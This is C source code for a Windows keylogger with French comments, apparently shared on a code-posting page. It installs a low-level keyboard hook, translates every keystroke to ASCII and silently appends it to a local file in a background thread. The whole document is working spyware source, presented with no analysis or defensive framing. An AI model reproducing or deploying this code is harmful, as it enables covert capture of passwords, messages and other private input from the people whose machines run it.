1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
|
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
FILE *f;
HHOOK hKeyHook;
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam ) {
KBDLLHOOKSTRUCT hooked;
if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) {
// conversion du code -> ascii
BYTE KeyState[256];
WORD wBuf;
char ch;
hooked = *((KBDLLHOOKSTRUCT*)lParam);
GetKeyboardState(KeyState);
// Conversion code > ascii
ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuf,0);
switch (hooked.vkCode){
case 9 : {
fprintf(f,"\t");
break;
}
case 13 :{
fprintf(f,"\n");
break;
}
case VK_BACK :{
fseek(f,-1,SEEK_CUR);
break;
}
case VK_DELETE: {
fseek(f,-1,SEEK_CUR);
break;
}
default : { // on affiche les touches tappées
ch=((char)wBuf);
fprintf(f,"%c",ch);
break;
}
}
fflush(f);
}
// Renvoi des messages au sytème
return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
}
// Boucle des messages
void MsgLoop()
{
MSG message;
while (GetMessage(&message,NULL,0,0)) {
TranslateMessage( &message );
DispatchMessage( &message );
}
}
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
HINSTANCE hExe = GetModuleHandle(NULL);
if (!hExe) return 1;
// on demarre le hook
hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, NULL);
MsgLoop();
UnhookWindowsHookEx(hKeyHook);
return 0;
}
int main(int argc, char *argv[])
{
// initialisation des options pour la fonction CreateThread
HANDLE hThread;
DWORD dwThread;
if ((f=fopen("fichier_tmp.txt","r+"))==NULL) {
f=fopen("fichier_tmp.txt","w+");
}
else fseek(f,0L,SEEK_END);
hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, NULL, &dwThread);
if (hThread) {
return WaitForSingleObject(hThread,INFINITE);
} else return 0;
fclose(f);
} |
Partager